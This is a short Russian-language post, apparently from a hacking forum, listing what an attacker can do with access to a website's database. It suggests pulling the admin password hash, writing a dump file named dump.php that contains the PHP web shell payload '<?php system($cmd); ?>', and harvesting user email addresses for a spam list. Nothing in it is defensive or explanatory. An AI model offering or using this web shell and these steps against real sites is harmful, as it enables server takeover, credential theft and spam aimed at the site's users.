Думаю что можно:
1. можно вытянуть хеш админа от сайта...
2. можно сделать дамп с содержимым <?php system($cmd); ?> в файл dump.php
3. можно их мыльников от акков составить спам список...